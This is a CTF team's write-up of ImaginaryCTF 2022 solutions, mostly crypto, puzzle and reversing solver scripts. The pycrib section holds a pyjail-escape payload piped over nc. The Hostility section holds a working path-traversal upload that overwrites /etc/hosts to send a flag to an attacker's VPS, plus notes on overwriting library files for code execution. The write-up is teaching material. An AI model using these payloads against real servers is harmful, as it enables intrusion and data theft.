This time, XxTSJxX and I participated in ImaginaryCTF 2022 and ended up in 4th place.

Misc#

neoannophobia#

This challenge is essentially a special case of Nim with only two piles. Keeping it balanced leads to victory.

from pwn import *

context.log_level = "debug"

months = {
    "January": 1,
    "February": 2,
    "March": 3,
    "April": 4,
    "May": 5,
    "June": 6,
    "July": 7,
    "August": 8,
    "September": 9,
    "October": 10,
    "November": 11,
    "December": 12,
}
inv_months = {v: k for k, v in months.items()}


def recvdate(io):
    s = io.recvlineS().strip()
    mon, date = s.split(" ")
    mon = months[mon]
    date = int(date)
    return mon, date


def balance(mon, date):
    # https://en.wikipedia.org/wiki/Nim 2 heap
    p1 = 12 - mon
    p2 = 31 - date
    if p1 == p2:
        # already balance, choose any
        return inv_months[mon + 1], date
    m = min(p1, p2)
    p1 = m
    p2 = m
    mon = inv_months[12 - p1]
    date = 31 - p2
    return mon, date


io = remote("neoannophobia.chal.imaginaryctf.org", 1337)
for rnd in range(100):
    print(rnd)
    io.recvuntil(b"----------\n")
    io.recvuntil(b"----------\n")
    while True:
        mon, date = balance(*recvdate(io))
        io.sendlineafter(b"> ", f"{mon} {date}".encode())
        if (mon, date) == ("December", 31):
            break
io.interactive()
# ictf{br0ken_game_smh_8b1f014a}

pycrib#

#!/usr/bin/env python3

import sys
import string

allowed = string.whitespace + string.ascii_lowercase
for name in sys.modules.keys():
  if any(n in name for n in ["heap", "imp", "marshal", "code", "func", "enc", "lib", "abc", "warn", ".", "x", "builtins"]):
    sys.modules[name] = None
del sys
del string

print("Welcome to the Python Crib. We honestly don't care if you escape.")
inp = input(">>> ")
b = not all([n in allowed for n in inp])
exec(inp) if not b else print("How cute!")
exit(b)

This pyjail only allows lowercase letters and some whitespace characters, modified from UIUCTF - baby_python. The original solution from code import interact as exit is invalid under the new modifications.

The key to solving this is knowing that a script executed with python script.py is called the __main__ module, but we also know that import script will search for script.py in sys.path and try to import it. If script.py imports itself, it will execute twice, resulting in two different modules.

You can create ss.py:

print(__name__)
import ss

Then execute python ss.py to understand its behavior.

To solve this challenge, since the filename is main.py, you can import main to re-execute it in a new module. Observing further, you can see that the most valuable thing to import from main is inp, so from main import inp as b can overwrite b in __main__ with a string you control.

Combining this with from os import system as exit allows you to achieve system(b), which should give you a shell...? However, it's not that simple because b goes through exec(inp) and exit(b) between inp = input(">>> ") and system(b). To remove the effect of exit, inp must be valid Python code that executes from ??? import ??? as exit.

A bit of searching reveals that from time import sleep as exit can prevent exit(b) from causing a TypeError, but the executed shell command is ineffective, so it needs to be a shell + Python polyglot.

Since the filename is flag, you can craft cat if b else print\rprint if not b else flag \rfrom time import sleep as exit, which essentially makes it cat flag. The space after flag \r is crucial because \r is part of the argument for the shell, and a space is needed to separate it.

Complete command:

> printf 'from main import inp as b\rfrom os import system as exit\ncat if b else print\rprint if not b else flag \rfrom time import sleep as exit\n' | nc pycrib.chal.imaginaryctf.org 1337
== proof-of-work: disabled ==
Welcome to the Python Crib. We honestly don't care if you escape.
>>> Welcome to the Python Crib. We honestly don't care if you escape.
>>> ictf{bash_python_polygl0t?_or_cheese_810a32fb}

Author's polyglot: cat or flag if not input else input\rfrom keyword import iskeyword as exit

Crypto#

huge#

You can directly factorize $n$.

from Crypto.Util.number import *

n = 257827703087398016057355158654193468564980243813004452658087616586210487667215030370871398983230710387803731676134007721137156696714627083072326445637415561591372586919746606752675050732692230618293581354674196658443898625965651230501721590806987488038754683843111434873697465691139129703835890867256688046172118591
e = 65537
c = 194667317703687479298989188290833629421904543231503224641743768867721632949682167895699280370759100055314992068135383846690184090232092994595979623784341194946153538127175310278245722299688212621004144260665233469561373125699948009903943019071999887294005117156960295183926108287198987970959145603429337056005819069

d = inverse_mod(e, euler_phi(n))
m = power_mod(c, d, n)
print(long_to_bytes(m))
# ictf{sm4ll_pr1mes_are_n0_n0_9b129443}

otp#

This challenge uses a special function to generate a bunch of random bits, then XORs them with the flag and gives you the result. The key is that the function generating the bits has different probabilities for generating 1s and 0s, roughly a 2 to 1 ratio. This means that the flag bits have about a 67% chance of being flipped, so you can collect multiple ciphertexts and analyze the frequency of 0s and 1s at each position.

from pwn import *
import numpy as np
from tqdm import tqdm

# io = process(["python", "otp.py"])
io = remote("otp.chal.imaginaryctf.org", 1337)
T = 128
cts = []
for _ in tqdm(range(T)):
    io.sendlineafter(b"Enter plaintext: ", b"FLAG")
    io.recvuntil(b"Encrypted flag: ")
    ct = bytes.fromhex(io.recvlineS().strip())
    cts.append(bits(ct))

print(unbits((np.array(cts).T.sum(axis=1) < T // 2) * 1))
# ictf{benfords_law_catching_tax_fraud_since_1938}

hash#

This challenge has a custom hash function, and you need to find a preimage. The hash function is as follows:

config = [[int(a) for a in n.strip()] for n in open("jbox.txt").readlines()] # sbox pbox jack in the box

# secure hashing algorithm 42
def sha42(s: bytes, rounds=42):
  out = [0]*21
  for round in range(rounds):
    for c in range(len(s)):
      if config[((c//21)+round)%len(config)][c%21] == 1:
        out[(c+round)%21] ^= s[c]
  return bytes(out).hex()

You can see that if the length is fixed, the hash is just a bunch of XORs. You can brute force the length and use z3 to solve it.

from pwn import *
from z3 import *

config = [
    [int(a) for a in n.strip()] for n in open("jbox.txt").readlines()
]  # sbox pbox jack in the box
def sha42(s: bytes, rounds=42):
    out = [0] * 21
    for round in range(rounds):
        for c in range(len(s)):
            if config[((c // 21) + round) % len(config)][c % 21] == 1:
                out[(c + round) % 21] ^= s[c]
    return out

def solve_preimage(h):
    for l in range(15,21):
        inp = [BitVec(f"inp_{i}", 8) for i in range(l)]
        sol = Solver()
        for x in inp:
            sol.add(And(x != 0, x != 0x10, x < 0x7F))
        for x, y in zip(h, sha42(inp)):
            sol.add(x == y)
        if sol.check() != sat:
            continue
        m = sol.model()
        return bytes([m[x].as_long() for x in inp])

# io = process(['python', 'hash.py'])
io = remote("hash.chal.imaginaryctf.org", 1337)
for i in range(50):
    io.recvuntil(b'sha42(password) = ')
    h = bytes.fromhex(io.recvlineS().strip())
    password = solve_preimage(h)
    print(i, f'sha42({password.hex()}) = {h.hex()}')
    io.sendlineafter(b'hex(password) = ',password.hex().encode())
io.interactive()
# ictf{pls_d0nt_r0ll_y0ur_0wn_hashes_109b14d1}

stream#

The challenge provides an ELF file, and a bit of reversing reveals that it uses a key stream updated with $k_{i+1} \equiv k_i^2 \pmod{2^{64}}$ to XOR with the flag for encryption.

Since the flag format is ictf{, you only need to brute force 3 bytes:

with open("out.txt", "rb") as f:
    ct = f.read()


def decrypt(ct, key):
    pt = b""
    for i in range(0, len(ct), 8):
        x = int.from_bytes(ct[i : i + 8], "little")
        x ^= key
        pt += x.to_bytes(8, "little")
        key = (key * key) & 0xFFFFFFFFFFFFFFFF
    return pt[: len(ct)]


key = int.from_bytes(b"ictf{\x00\x00\x00", "little") ^ int.from_bytes(ct[:8], "little")
key &= ~0xFFFFFF0000000000
for i in range(256**3):
    k = key + (i << 40)
    f = decrypt(ct, k).strip(b"\n\x00")
    if f.startswith(b"ictf{") and f.endswith(b"}") and f.isascii():
        print(f)
        break
# pypy3 solve.py
# ictf{y0u_rec0vered_my_keystream_901bf2e4}

z3 could probably solve this too

Lorge#

This challenge guarantees that the largest factor of $p-1$ and $q-1$ does not exceed 25 bits, so you can solve it with Pollard's p-1 algorithm.

Writing a naive Pollard's p-1 (in ascending order) will fail, so you need to shuffle all numbers within $2^{25}$ a bit.

This is because Pollard's p-1 relies on the property $a^{k(p-1)} \equiv 1 \pmod{p}$. If the largest factor of $p-1$ and $q-1$ is the same, using a naive method will satisfy the equation for both $p$ and $q$, but the key to factorization with $\gcd(a-1,n)$ is to satisfy only one of them.

Factorization code:

import gmpy2
from tqdm import tqdm
import random

n = gmpy2.mpz(
    63038895359658613740840475285214364620931775593017844102959979092033246293689886425959090682918827974981982265129797739561818809641574878138225207990868931316825055004052189441093747106855659893695637218915533940578672431813317992655224496134300271524374912502175195904393797412770270676558054466831561609036199966477
)
e = 65537
ct = 60515029337308681079476677877525631415600527185785323978384495461916047877351538207473264679842349366162035496831534576192102896080638477601954951097077261305183669746007206897469286005836283690807247174941785091487066018014838515240575628587875110061769222088950451112650700101446260617299040589650363814995825303369

ar = list(range(2, 2**25))
random.shuffle(ar)
a = gmpy2.mpz(2)
for p in tqdm(ar):
    a = gmpy2.powmod(a, p, n)
    g = gmpy2.gcd(a - 1, n)
    if 1 < g < n:
        print(g)
        break
# 434654113480567754843550047971815161129803871913933783262402156469121832491983228916050415001822989063035108089351335052513369073826096294477221516463704292443

Using all numbers within $2^{25}$ instead of just primes is because there might be prime powers in there

Then decrypt:

from Crypto.Util.number import *

n = 63038895359658613740840475285214364620931775593017844102959979092033246293689886425959090682918827974981982265129797739561818809641574878138225207990868931316825055004052189441093747106855659893695637218915533940578672431813317992655224496134300271524374912502175195904393797412770270676558054466831561609036199966477
e = 65537
ct = 60515029337308681079476677877525631415600527185785323978384495461916047877351538207473264679842349366162035496831534576192102896080638477601954951097077261305183669746007206897469286005836283690807247174941785091487066018014838515240575628587875110061769222088950451112650700101446260617299040589650363814995825303369
p = 434654113480567754843550047971815161129803871913933783262402156469121832491983228916050415001822989063035108089351335052513369073826096294477221516463704292443
q = n // p
assert p * q == n
d = pow(e, -1, (p - 1) * (q - 1))
m = pow(ct, d, n)
print(long_to_bytes(m))
# ictf{why_d1d_sm0ll_3v3n_sh0w_up_on_f4ct0rdb???_That_m4d3_m3_sad!}

Secure Encoding: Base64#

This challenge uses base64 to encode a very long article, ensuring ord(x) is less than 128, and then shuffles the encoded base64 result as the ciphertext without telling you the permutation.

Remember that base64 uses 4 base64 characters to represent 3 bytes, meaning each character provides 6 bits of information, and concatenating them gives 24 bits, representing the original 3 bytes.

In normal base64, the 6 bits provided by a character are determined by its index in the base64 table, but after shuffling, you don't know anything.

My idea is that even after shuffling, the 6 bits mapped by a base64 character are still unique, and since the challenge guarantees ord(x) is less than 128, we can still get some bits of information, so I used z3 to solve it.

After solving a bit, you can see it's roughly an English article. Letting z3 generate a few more possible plaintexts reveals it's a book from Project Gutenberg, giving you a known plaintext prefix. Adding that allows you to get better results.

The complete script is as follows:

from z3 import *
from tqdm import tqdm
import string

with open("out.txt") as f:
    ct = f.read()


badchar = b"`\\|<>/;{}"
badchar = b''
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="
eqchr = ct[-1]
charset = charset.replace(eqchr, "")
maps = [BitVec(f"c_{i}", 6) for i in range(len(charset))]


def dec(s):
    ar = []
    for c in s:
        if c == eqchr:
            v = BitVecVal(0, 6)
        else:
            v = maps[charset.index(c)]
        ar.append(v)
    return ar


def dec2(s):
    ar = []
    for c in s:
        if c == eqchr:
            v = 0
        else:
            v = maps_i[charset.index(c)]
        ar.append(v)
    return ar

sol = Solver()
sol.add(Distinct(*maps))
out = dec(ct[:20000])
bs = []
for a, b, c, d in tqdm(
    [out[i : i + 4] for i in range(0, len(out), 4)][:-1]
):  # drop last chunk because of null bytes problem
    b1 = Extract(11, 4, Concat(a, b))
    b2 = Extract(9, 2, Concat(b, c))
    b3 = Extract(7, 0, Concat(c, d))
    for b in [b1, b2, b3]:
        sol.add(ULE(b, 0x7f))
        # sol.add(Or(And(ULE(0x20, b), ULE(b, 0x7F)), b == 0x0A))
        sol.add(And([b!=x for x in badchar]))
    bs += [b1, b2, b3]
prefix = """The Project Gutenberg eBook of The Picture of Dorian cray, by Oscar Wilde

This eBook is for the\x00\x00se of anyone anywhere in the United States and
most other par\x00\x00 of the\x00\x00orld at no cost and\x00\x00ith almost no\x00\x00estrictions
whatsoever. You may co\x00\x00 it, give it away or re-use it under the\x00"""
for x, y in zip(bs, prefix.encode()):
    if y!=0:
        sol.add(x==y)
it = 1
while True:
    print("checking")
    assert sol.check() == sat
    m = sol.model()
    maps_i = [m[x].as_long() for x in maps]
    print(maps_i)
    out2 = dec2(ct)
    ar = []
    for a, b, c, d in tqdm([out2[i : i + 4] for i in range(0, len(out2), 4)]):
        b1 = (((a << 6) | b) >> 4) & 0xFF
        b2 = (((b << 6) | c) >> 2) & 0xFF
        b3 = (((c << 6) | d) >> 0) & 0xFF
        ar += [b1, b2, b3]
    pt = bytes(ar)
    with open(f"rec/recovered_{it}.txt", "wb") as f:
        f.write(pt)
    it += 1
    sol.add(Or([x != y for x, y in zip(maps, maps_i)]))
    break  # you can remove this

However, due to some unknown issue, the resulting plaintext has some corrupted parts, and trying to forcefully fix it results in unsat ¯\_(ツ)_/¯

The Project Gutenberg eBook of The Picture of Dorian cray, by Oscar Wilde

This eBook is for the"5se of anyone anywhere in the United States and
most other parv3 of the"7orld at no cost and"7ith almost no"2estrictions
whatsoever. You may cor9 it, give it away or re-use it under the"4erms
of"4he Pro{ect Gutenberg License included"7ith this eBook or online at
www.gutenberg.org. If"9ou are not located in the United States,"9ou
will have to check the laws of the country where you are located before
using this eBook.

Title* The Picture of Dorian cray

Author* Oscar Wilde

Release Date* OGtober, 1994 [eBook #174]
[Most"2ecently"5pdated* February 3, 200r]

Language: English

R2of5Ged by* Judith Boss. HTML"6ersion by Al Haines.

**; START OF THE PROJECT GUTENBERG EBOOK THE PICTURE OF DORIAN GRAY ;**

The Picture of Dorian cray

by Oscar Wilde

Contenv3

 THE PREFACE
 CHAPTER I.
 CHAPTER II.
 CHAPTER III.
 CHAPTER IV.
 CHAPTER V.
 CHAPTER VI.
 CHAPTER VII.
 CHAPTER VIII.
 CHAPTER IX.
 CHAPTER X.
 CHAPTER XI.
 CHAPTER XII.
 CHAPTER XIII.
 CHAPTER XIV.
 CHAPTER XV.
 CHAPTER XVI.
 CHAPTER XVII.
 CHAPTER XVIII.
 CHAPTER XIX.
 CHAPTER XX.

THE PREFACE

The artist is the creator of beautiful things. To reveal art and
GonGeal"4he artist is art's aim. The critiG is he"7ho Gan v2anslate
into another manner or a new material his imr2ession of beautiful
things.

The highest as"4he lowest form of Griticism is a mode of autobiograpj9.
Those"7ho find"5gn9 meanings in beautiful"4hings are corrupt without
being charming. This is a faun4.

Those who find beautiful meanings in beautiful"4hings are the
cun4ivated. For these there is hope. They are the elect to whom
beautiful things mean only beauv9.

There is no such"4hing as a moral or an immoral book. Books are well
written, or badly written. That is all.

The nineteenth century dislike of realism is"4he rage of Caliban seeing
his own faGe in a glass.

The nineteenth cenv5ry dislike of"2omantiGism is"4he rage of Caliban
not"3eeing his own face in a glass. The moral life of man forms"0art of
the"3ubject-matter of"4he artist, but the moraliv9 of art consists in
the perfect"5se of an imperfect medium. No artist desires to prove
anything. Even things that are v2ue Gan be r2oved. No artist has
ethiGal sympathies. An ethical sympathy in an artist is an unpardonable
mannerism of sv9le. No artist is ever morbid. The artist can ez0ress
everything. Thougj4 and language are to the artist instruments of an
art. ViGe and virv5e are to the artist materials for an art. From"4he
point of view of form,"4he type of all the arts is the art of"4he
musician. From the point of view of feeling, the actor's Graft is the
v9pe. All art is at once"3urface and"3ymbol. Those who go beneath the
surface do so at their peril. Those"7ho read"4he symbol do so at their
peril. It is"4he speGtator, and not life, that art really mirrors.
Diversity of opinion about a work of art shows that the work is new,
complex, and vital. When Gritics disagree, the artist is in aGcord with
himself. We can forgive a man for making a useful thing as long as he
does not admire it. The only excuse for making a useless thing is that
one admires it intensely.

All art is quite useless.

iGtfzall_encodings_are_nothing_but_art}

Living Without Expectations#

This challenge provides public parameters $n=69$ and a prime $q=2^{142}+217$. First, a secret vector $s \in \{0,1\}^n$ is generated, and for each bit of the flag, a matrix $A \in \mathbb{F}_q^{n \times n}$ is generated. If the bit is 0, set $b=As+e$ (where $e \in \{0,1,\cdots,7\}^n$), otherwise set $b$ as a random vector in $\mathbb{F}_q^n$. Then $A$ and $b$ are recorded and given to us.

This problem is called Decision LWE (Learning With Error), one of the hardness assumptions used in lattice cryptography, so naturally, it makes you think of LLL.

Note that $s \in \{0,1\}^n$ instead of $\mathbb{F}_q^n$, which allows us to better construct a lattice to solve it. First, since the flag is ASCII, the first bit must be 0, so the first set of $A,b$ must satisfy $b=As+e$.

Construct the following lattice:

You can see that there is a point very close to $\vec{v}=(b,s)$, so use Babai CVP to solve it. Of course, since the bounds for $b$ are looser than for $s$, the weights need to be adjusted accordingly. Using the handy Inequality Solving with CVP can solve it.

After recovering $s$, the rest is trivial.

import ast
import numpy as np
from pwn import unbits

q = 2**142 + 217
n = 69

with open("output.txt") as f:
    # f.readline()
    l = f.readline()
    A, b = l.split("] [")
    A = [int(x, 16) for x in ast.literal_eval(A + "]")]
    assert len(A) == n * n
    A = matrix(np.array(A).reshape((n, n)))
    b = [int(x, 16) for x in ast.literal_eval("[" + b)]
    assert len(b) == n

k = 10
A = matrix(A[:k]).T.augment(matrix.identity(n))
print(A.dimensions())
M = A.stack((matrix.identity(k) * q).augment(matrix.zero(k, n)))
print(M.change_ring(Zmod(10)))
load(
    "solver.sage"
)  # https://raw.githubusercontent.com/rkm0959/Inequality_Solving_with_CVP/main/solver.sage

lb = [x - 8 for x in b[:k]] + [0] * n
ub = [x for x in b[:k]] + [1] * n
result, applied_weights, fin = solve(M, lb, ub)
s = vector(ZZ, fin[:n])
print(s)

bits = []
with open("output.txt") as f:
    for l in f:
        A, b = l.split("] [")
        A = [int(x, 16) for x in ast.literal_eval(A + "]")]
        assert len(A) == n * n
        A = matrix(GF(q), np.array(A).reshape((n, n)))
        b = [int(x, 16) for x in ast.literal_eval("[" + b)]
        assert len(b) == n
        e = vector(b) - A * s
        if all([0 <= x < 8 for x in e]):
            bits.append(0)
        else:
            bits.append(1)

print(unbits(bits))
# ictf{l4tt1c3_crypt0_t4k1ng_0v3r_th3_w0rld}

Web#

Hostility#

This challenge has a Flask server with an upload path traversal vulnerability. The key code is here:

@app.route('/upload', methods=["POST"])
def upload_post():
    if "file" not in request.files:
        return "No file submitted!"
    file = request.files['file']
    if file.filename == '':
        return "No file submitted!"
    file.save("./uploads/"+file.filename)
    return f"Saved {file.filename}"

@app.route('/flag')
def check():
    flag = open("flag.txt").read()
    get(f"http://localhost:1337/{flag}")
    return "Flag sent to localhost!"

From the provided Dockerfile, we know the server runs as root, so there are many writable places. For this challenge, you can write YOUR_VPS_IP localhost to /etc/hosts and then GET /flag to get the flag.

curl 'https://hostility.chal.imaginaryctf.org/upload' -F 'file=@hosts; filename=../../etc/hosts'
curl 'https://hostility.chal.imaginaryctf.org/flag'
# ictf{man_maybe_running_my_webserver_as_root_wasnt_a_great_idea_hmmmm}

Before solving it with the intended solution above, I was looking for an RCE method and successfully achieved RCE locally (but failed remotely). The key code is this part:

class Restart(Thread):
    def run(self):
        sleep(300)
        _exit(0) # killing the server after 5 minutes, and docker should restart it

Restart().start()

Since we know that when Docker restarts, the container remains the same, and file changes are preserved, if we can write to /app/server.py, we can achieve RCE on restart. However, write permissions are not granted, so we can't write there.

Even if that's blocked, there are many other writable places, such as ../../usr/local/lib/python3.8/dist-packages/flask/__init__.py or /usr/bin/python3. However, using this method has the downside of causing the server to crash after restarting. After reporting this to the author, they indicated it was not intended and wrote a script to change the restart to delete and recreate the container, fixing the issue.

CyberCook#

I wrote an English writeup: https://gist.github.com/maple3142/e6a2da36aa8431116b4eb6c9447af9aa

Reversing#

polymorphic#

This challenge provides an x86-64 ELF file. Loading it into IDA shows a bunch of instructions that can't be decompiled. Running it reveals it's a flag checker, but it causes a segmentation fault, and the challenge description hints at how to prevent it from crashing.

Opening gdb and tracing dynamically shows many XORs at the current RIP location, indicating it's an obfuscated binary that dynamically decrypts itself with XOR.

 →   0x401000 <_start+0>       xor    DWORD PTR [rip+0x0], 0x4e784379        # 0x40100a <_start+10>
     0x40100a <_start+10>      sub    rax, 0xffffffffffffffde
     0x40100e <_start+14>      xor    DWORD PTR [rip+0xa], 0xa5d80c00        # 0x401022 <_start+34>
     0x401018 <_start+24>      xor    DWORD PTR [rip+0x4], 0x6ae4aab1        # 0x401026 <_start+38>
     0x401022 <_start+34>      lea    rsi, ds:0xfffffffffae4aab1
     0x40102a <_start+42>      xor    DWORD PTR [rip+0x0], 0xb1507c79        # 0x401034 <_start+52>

In theory, you could use Capstone or similar to write a script to simulate the XOR part, decrypt it, and fill in NOPs, but that seems tedious.

Directly tracing with gdb reveals it first reads input to rsp, and you can see something like this:

   0x40107a <_start+122>:       mov    al,BYTE PTR [rsp]
   0x40107d <_start+125>:       nop
   0x40107e <_start+126>:       xor    DWORD PTR [rip+0x0],0x9150e364        # 0x401088 <_start+136>
   0x401088 <_start+136>:       sub    al,0x60
   0x40108a <_start+138>:       nop
   0x40108b <_start+139>:       nop
   0x40108c <_start+140>:       xor    DWORD PTR [rip+0x0],0x59608a64        # 0x401096 <_start+150>
   0x401096 <_start+150>:       sub    al,0x9
   0x401098 <_start+152>:       nop
   0x401099 <_start+153>:       nop
   0x40109a <_start+154>:       xor    DWORD PTR [rip+0xa],0x25338878        # 0x4010ae <_start+174>
   0x4010a4 <_start+164>:       xor    DWORD PTR [rip+0x4],0x40a062b5        # 0x4010b2 <_start+178>
=> 0x4010ae <_start+174>:       xor    BYTE PTR [rip+0x7],al        # 0x4010bb <_start+187>
   0x4010b4 <_start+180>:       nop
   0x4010b5 <_start+181>:       nop
   0x4010b6 <_start+182>:       xor    DWORD PTR [rip+0xa],0x2410c9c2        # 0x4010ca <_start+202>

You can see it reads a character into al, subtracts some number, and then XORs it with rip+0x7. If al is non-zero, it easily crashes, so al must be 0x69, which is the ASCII character i, matching the first character of ictf{. Continuing to trace reveals similar patterns, so using gdb's Python API to dynamically extract those values solves it:

gdb.execute("gef config context.enable false")
gdb.execute('start < /dev/null')
flag = ''
while True:
    cur_inst = gdb.execute("x/i $pc",to_string=True)
    print(cur_inst)
    print(flag)
    if 'xor    BYTE PTR [rip+0x7],al' in cur_inst:
        val = 256 - int(str(gdb.parse_and_eval("$al")), 16)
        flag += chr(val)
        gdb.execute('set $al = 0')
    gdb.execute('si')
# gdb ./polymorphic -x solve.py
# ictf{dynam1c_d3bugg1ng_1s_n1ce}

One Liner: Revenge#

I really can't explain this challenge. I just formatted it as a one-liner Python, added some prints to observe its behavior, and inserted z3 at appropriate places to let it solve itself.

from z3 import *
from pprint import pprint

def ggg():
    for i in range(1, 16):
        yield i
    print(sol.check())
    m = sol.model()
    flag = bytes([m[x].as_long() for x in inp])
    print(flag)
    # ictf{0n3l1n3is5uperior!}

function = type(ggg)
cntr = ggg()

inp = tuple([Int(f"f_{i}") for i in range(24)])
sol = Solver()

# input_len = 24
[
    # globals().__setitem__(chr(0x67), globals()),
    g := globals(),
    # g.__setitem__(chr(0x74), lambda *a: bytes.fromhex("{:x}".format(a[0])).decode()),
    t := lambda *a: bytes.fromhex("{:x}".format(a[0])).decode(),
    g.__setitem__(
        t(103),
        type(
            "",
            (dict,),
            {
                t(6872320826472685407): lambda *a: {
                    **{
                        _: getattr(a[0], t(115298706365414908258770783))(
                            *[
                                (i % 8 if type(i) is (1).__class__ else i)
                                for (i) in _[::-1]
                            ]
                        )
                        for (_) in a[1:]
                    },
                    a.__reduce__: a[0],
                }.popitem()[len(a) % 2 * 2 - 1],
                t(115298485004486023744151391): lambda *a: dict.__getitem__(
                    *[(i % 8 if type(i) is (4).__class__ else i) for (i) in a]
                ),
            },
        )(),
    ),
    [
        g((lambda *a: (print(*a), exit()), 13463))(
            (
                type(
                    "",
                    ([].__class__,),
                    {
                        t(6872326324148002655): lambda *a: 1,
                        t(6872320826472685407): lambda *a: [print('?? idx', a[-1]),print('tmp',tmp:=[a[0].insert(0, list.pop(a[0])), a[0]][1]),print('tmpx', [i for i,x in enumerate(tmp) if type(x) != function]),g(
                            (tmp[a[-1]], 14701)
                        )][-1],
                        t(107135549927012): lambda *a: [
                            list.append(a[0], _) for (_) in a[1:]
                        ],
                        t(7368560): lambda *a: (list.pop(a[0]), a[0].reverse())[0],
                    },
                )(),
                10397,
            )
        )[14413].append(*[g()[11677], *[lambda *a: g[11975](t(28271))] * 15]),
        g((open(t(540221431545043700576377)).read(), 14122)),
        g()[11391],
    ][
        any(
            any(_ in t(2524869067539096330) for (_) in (i))
            for (i) in open(t(241425488694318497730177 + 298795942850725202846200))
        )
        + 1
    ](
        (t(28271), t(1654445085483638585692 + 382008194344550889925))
    ),
    [
        g(
            (
                g((lambda *a: [print(a),val:=next(cntr),[sol.add(eq if b=='1' else Not(eq)) for eq, b in zip(a,f'{val:04b}')],a:=(True,True,True,True),int("".join(str(1 * i) for (i) in (a)), 2),val][-1], 12614))[
                    15301
                ].__getattribute__(t(1759314143624509480799))(),
                13195,
            )
        )[9923].append(
            *(
                lambda *a: (
                    51 * a[10] + 56 * a[0] + 12 * a[14] + 91 * a[3] + 9 * a[14]
                    == 96 * a[19]
                    + 96 * a[9]
                    + 83 * a[1]
                    + 91 * a[1]
                    + 43 * a[22]
                    - 11543,
                    88 * a[7] + 51 * a[7] + 27 * a[9] + 77 * a[1] + 45 * a[4]
                    == 53 * a[15]
                    + 6 * a[22]
                    + 92 * a[5]
                    + 15 * a[9]
                    + 86 * a[22]
                    + 7184,
                    63 * a[3] + 76 * a[0] + 93 * a[5] + 64 * a[3] + 17 * a[6]
                    == 74 * a[23]
                    + 30 * a[11]
                    + 21 * a[9]
                    + 63 * a[8]
                    + 66 * a[23]
                    + 405,
                    33 * a[14] + 47 * a[14] + 10 * a[7] + 97 * a[18] + 86 * a[10]
                    == 85 * a[16]
                    + 92 * a[13]
                    + 45 * a[19]
                    + 68 * a[23]
                    + 15 * a[2]
                    - 9791,
                ),
                lambda *a: (
                    67 * a[8] + 13 * a[13] + 16 * a[3] + 17 * a[20] + 44 * a[9]
                    == 36 * a[22]
                    + 38 * a[15]
                    + 72 * a[23]
                    + 89 * a[19]
                    + 43 * a[17]
                    - 13909,
                    36 * a[19] + 8 * a[5] + 43 * a[23] + 73 * a[23] + 78 * a[3]
                    == 31 * a[0]
                    + 15 * a[22]
                    + 66 * a[12]
                    + 48 * a[21]
                    + 5 * a[12]
                    + 9943,
                    23 * a[19] + 68 * a[23] + 10 * a[8] + 59 * a[17] + 34 * a[1]
                    == 20 * a[18]
                    + 55 * a[1]
                    + 20 * a[17]
                    + 32 * a[6]
                    + 39 * a[2]
                    + 3539,
                    5 * a[0] + 69 * a[10] + 25 * a[18] + 61 * a[17] + 97 * a[14]
                    == 64 * a[18]
                    + 29 * a[18]
                    + 39 * a[10]
                    + 93 * a[0]
                    + 23 * a[15]
                    - 5075,
                ),
                lambda *a: (
                    2 * a[20] + 47 * a[0] + 80 * a[16] + 37 * a[4] + 60 * a[15]
                    == 29 * a[13]
                    + 21 * a[11]
                    + 4 * a[23]
                    + 83 * a[9]
                    + 55 * a[16]
                    + 10561,
                    28 * a[4] + 42 * a[16] + 39 * a[16] + 3 * a[20] + 63 * a[1]
                    == 11 * a[10]
                    + 31 * a[19]
                    + 9 * a[19]
                    + 30 * a[8]
                    + 74 * a[16]
                    + 2148,
                    78 * a[21] + 4 * a[15] + 62 * a[18] + 84 * a[7] + 96 * a[16]
                    == 24 * a[7]
                    + 23 * a[14]
                    + 94 * a[3]
                    + 46 * a[2]
                    + 67 * a[17]
                    + 7330,
                    74 * a[12] + 66 * a[0] + 92 * a[2] + 73 * a[16] + 62 * a[10]
                    == 18 * a[2]
                    + 28 * a[3]
                    + 40 * a[17]
                    + 60 * a[21]
                    + 54 * a[17]
                    + 19097,
                ),
                lambda *a: (
                    49 * a[21] + 62 * a[12] + 39 * a[19] + 6 * a[2] + 33 * a[18]
                    == 65 * a[14]
                    + 40 * a[11]
                    + 51 * a[3]
                    + 38 * a[14]
                    + 61 * a[17]
                    + 1787,
                    72 * a[2] + 41 * a[9] + 17 * a[2] + 94 * a[17] + 64 * a[6]
                    == 53 * a[8]
                    + 69 * a[7]
                    + 30 * a[9]
                    + 27 * a[3]
                    + 17 * a[0]
                    + 13621,
                    76 * a[20] + 52 * a[6] + 42 * a[12] + 32 * a[21] + 15 * a[4]
                    == 93 * a[16]
                    + 45 * a[10]
                    + 76 * a[15]
                    + 30 * a[8]
                    + 97 * a[14]
                    - 8576,
                    49 * a[13] + 5 * a[16] + 66 * a[22] + 6 * a[0] + 15 * a[4]
                    == 58 * a[19]
                    + 78 * a[15]
                    + 41 * a[2]
                    + 3 * a[15]
                    + 41 * a[21]
                    - 14144,
                ),
                lambda *a: (
                    81 * a[7] + 15 * a[6] + 83 * a[21] + 51 * a[10] + 25 * a[15]
                    == 78 * a[16]
                    + 36 * a[18]
                    + 89 * a[8]
                    + 74 * a[9]
                    + 28 * a[15]
                    - 5576,
                    22 * a[12] + 69 * a[7] + 43 * a[14] + 22 * a[20] + 88 * a[20]
                    == 92 * a[6]
                    + 40 * a[10]
                    + 13 * a[21]
                    + 93 * a[4]
                    + 69 * a[8]
                    - 14574,
                    5 * a[12] + 55 * a[15] + 38 * a[23] + 79 * a[18] + 73 * a[2]
                    == 7 * a[6]
                    + 68 * a[13]
                    + 46 * a[19]
                    + 56 * a[23]
                    + 84 * a[15]
                    - 1064,
                    63 * a[5] + 3 * a[15] + 54 * a[11] + 53 * a[17] + 39 * a[22]
                    == 90 * a[13]
                    + 58 * a[7]
                    + 80 * a[14]
                    + 43 * a[20]
                    + 1 * a[2]
                    - 9663,
                ),
                lambda *a: (
                    33 * a[4] + 85 * a[22] + 88 * a[19] + 11 * a[19] + 65 * a[3]
                    == 2 * a[12]
                    + 83 * a[15]
                    + 51 * a[3]
                    + 53 * a[2]
                    + 4 * a[15]
                    + 2150,
                    16 * a[13] + 6 * a[21] + 19 * a[23] + 49 * a[21] + 48 * a[9]
                    == 96 * a[4]
                    + 60 * a[7]
                    + 73 * a[11]
                    + 79 * a[9]
                    + 67 * a[13]
                    - 17330,
                    32 * a[22] + 25 * a[14] + 36 * a[12] + 96 * a[11] + 74 * a[7]
                    == 65 * a[6]
